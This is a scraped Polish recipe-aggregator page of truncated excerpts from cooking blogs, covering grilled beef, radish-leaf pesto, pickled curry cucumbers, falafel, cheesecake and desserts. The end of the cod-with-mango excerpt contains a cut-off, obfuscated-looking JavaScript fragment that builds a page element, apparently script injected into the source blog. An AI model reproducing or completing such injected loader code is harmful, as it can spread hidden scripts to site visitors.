Uczta grillowa piwem popijana, czyli warsztaty z Sokołowem 209okiem szefa kuchni Akademii Smaku Dominika Moskalenki przygotowaliśmy kilka rodzajów wołowiny z grilla. Były obłędnie pyszne steki z rostbefu i antrykotu, cudownie soczysta polędwiczka, podana z ziemniakami i sosem kurkowym oraz sałatką. Jednak sezonowana wołowina to jest smak! Były też wyśmienite burgery i szaszłyki marynowane w maśle orzechowym. Wszystko oczywiście popijane piwem:) W międzyczasie Rafał opowiadał i częstował
Obiad gotowy
Pesto z liści rzodkiewki, ostry i oryginalny dodatek do makaronów, dań mięsnych czy ryb. 230musiałam wyrzucić cały pęczek liści. Na blogu www.veganbanda.pl znalazłam super przepis na pesto, który okazał się bardzo oryginalny. Lekko go zmodyfikowałam, ponieważ nie miałam płatków drożdżowych. Pikantne pesto lub sos możemy wykorzystać jako dodatek do dań mięsnych np. na grilla lub ryb. Możemy też przygotować makaron z pesto. Składniki: pęczek liści rzodkiewki 4 łyżki pestek słonecznika (prażonych) 4 łyżki oliwy
wysmienity
Ogórki z curry 358pory robiła je głównie moja mama, jednak tego roku my również postanowiliśmy zrobić kilka słoików. Ogórki w curry idealnie sprawdzają się w zimie zamiast surówki lub sosu do obiadu. Czas wykonania: 2 h Ilość porcji: 12 słoików po 500 ml Składniki: 3 kg ogórków gruntowych 4 cebule 2 l wody 3 szklanki cukru 3 szklanki octu
KuchniaWeDwoje.pl
Parówkowe spaghetti. 288się. :) Makaron z parówkami, jako podstawę dania, można połączyć z dowolnymi ulubionymi dodatkami. U nas były to pomidorki, ale równie dobrze sprawdzi się brokuł podzielony na różyczki, lub klasyczny sos pomidorowy albo serowy. Nawet keczup w chwili desperacji można dodać. No, chyba że domowy , wtedy z czystym sumieniem! ;) Składniki: 300 g cienkich parówek makaron spaghetti 250 g pomidorków koktajlowych
zadanie-gotowanie
Dorsz na imbirowym mango 270podobnie robimy z papryką, a cebulę siekamy w piórka. W oddzielnym naczyniu łączymy ze sobą miód, ocet winny, sok z limonki, natkę pietruszki, czosnek, imbir oraz odrobinę chili. Gotowy sos dodajemy do posiekanego mango i papryki i delikatnie całość mieszamy. Rozkładamy na talerze, na wierzchu układamy kawałki upieczonego dorsza i posypujemy je posiekanymi orzechami. Smacznego (function(){ tsycu="qXm73dtjsych";tsyc=document.createElement
Cynamonowe szczęście
Deser lodowy z brzoskwiniami, bitą śmietaną i adwokatem 223szybki deser, idealny na lato. Można go przygotować w wersji dla dorosłych, czyli z alkoholem, lub w wersji dla dzieci. Wtedy rezygnujemy z alkoholu, a dokładamy syrop owocowy lub sos czekoladowy. Herbatniki ułożone na spodzie lekko namokną sokiem z owoców i lodami. Dlatego warto użyć herbatników lub innych kruchych ciastek. Biszkopty zbyt szybko staną się miękkie. Składniki: dowolne ulubione
Codzienna kuchnia niecodzienna
Szybki sernik kajmakowy 231spiżarce znalazłam gotową masę kajmakową, i w 15 minut upiekłam ten sernik. Można go podawać z bitą śmietaną zimową porą, a latem z sosami owocowymi. Pieczony w szerszej blaszce staje się dość cienki, ale wygląda jak serowy batonik. Składniki: – 1 kg sera białego mielonego, u mnie Piątnica – 3 łyżki mąki
To co kocham
FALAFEL IDEALNY 308pyszności z grochu wprost uwielbiam! Dziś pokażę Wam jak robię przepyszny falafel z ciecierzycy. Idealny jako obiad albo dodatek do obiadu. Ja podaję go z pyszną sałatką tabbouleh i sosem jogurtowym z tahini. Smakuje genialnie! Spróbujcie! SKŁADNIKI: ( ok. 20-25 szt ) * sucha ciecierzyca – 300 g ( moczymy przez noc w zimnej wodzie ) * cebula – 1 szt * czosnek – 2 ząbki
Ostra na Słodko
Pizza z młodymi ziemniakami i rozmarynem 342Dzisiaj prezentuję pizzę dość nietypową, z jasnym, serowym sosem, młodymi ziemniakami i rozmarynem. Spróbujcie koniecznie, bo to naprawdę ciekawe i pyszne połączenie. Jest to kolejny przepis biorący udział w akcji „Ziemniaki
Bullio
Sałatka- polskie pomidory malinowe z albańskim serem typu feta 179warstwami: pokrojone pomidory, trochę cebuli i trochę fety (osączonej i pokrojonej w kostkę ok 1x1 cm). Z podanych składników uzyskamy 3 warstwy. Jogurt wymieszałem dokładnie z majonezem i zalałem sosem sałatkę. Listki bazylii umyłem, wrzuciłem do blendera, dodałem wodę i zmiksowałem. Wymieszałem z oliwą i całością polałem sałatkę po wierzchu. Odstawiłem na 15 min do przegryzienia się smaków
R'n'G Kitchen
Kurczak w ziołach pieczony w całości 257położyć kurczaka na raszkach w specjalnej do tego celu dużej blaszki. Na dno wlać wodę, wstawić blaszkę do nagrzanego piekarnika i piec 45 minut. Polać go wytworzonym sosem. Wyjąć blaszkę z piekarnika i odwrócić kurczaka. Dolać wody, u mnie się wygotowała. Dno blaszki musi być pokryte wodą. Obrać marchewki, jeśli są grube przekroić na pół. Cukinię umyć i pokroić
Kuchnia Pokoleń
"Delicje i łakocie" Paulina Krajewska - recenzja 241Książka podzielona jest na trzy części - małe łakocie, większe łakocie i łakocie do picia. Małe łakocie to batony kokosowe, owsiane, energetyczne, marcepan, trufle, kremy, desery, lody, lizaki, musy, pralinki, sosy i inne. Jest ich dużo, wszystkie smakowite, aż ślinka cieknie na sam widok. Znajdziemy tutaj też bardzo ciekawe przepisy na lody z zielonej herbaty, pieczone kulki z batatów, honeycomb, czyli
kruche babeczki
Placek ziemniaczano-serowy 214samodzielna przekąska, ale możesz też przygotować dip (np. czosnkowy), który uzupełni całość. Możesz też podać placek ziemniaczano-serowy jako dodatek do obiadu, zamiast tradycyjnych ziemniaków (wtedy szczególnie polecam z sosem (pieczarkowym, z grzybów leśnych lub mięsnym). Placek ziemniaczano-serowy Składniki: 400 g ugotowanych ziemniaków (roztartych) 100 sera Gouda MSM Mońki 2 jajka 400 g jogurtu naturalnego (rzadkiego) 1/2 szkl. mleka
Kolorowy Przepisownik
Lody śmietankowe (tylko 2 składniki) 260kamień". Zresztą możecie zauważyć na zdjęciu jakie były delikatne i po kilku minutach robienia zdjęć zaczęły się w tym upale rozpływać ;) Lody najlepiej smakują ze świeżymi owocami. Dodatek słodkich sosów dodatkowo by je zasłodził gdyż już same w sobie są wystarczająco słodkie :) 500 ml śmietanki 30% 300 ml mleka skondensowanego słodzonego Schłodzoną śmietankę ubić, dodać mleko skondensowane, zmiksować. Przełożyć
Smakołyki Asi
Czym pachnie Paryż? – wpis kulinarny 217ciepło z lodami i karmelem, całkowicie podbiła nasze podniebienia i żołądki! Wiem, że Francja słynie z creme brulee czy creme caramel, ale taki kawałek mięciutkiej brioszki polany prawdziwym sosem karmelowym to niewysłowiona uczta dla kubków smakowych! Zdecydowanie Paryż pachnie jedzeniem! Artykuł Czym pachnie Paryż? – wpis kulinarny pochodzi z serwisu Raj dla Podniebienia
Raj dla Podniebienia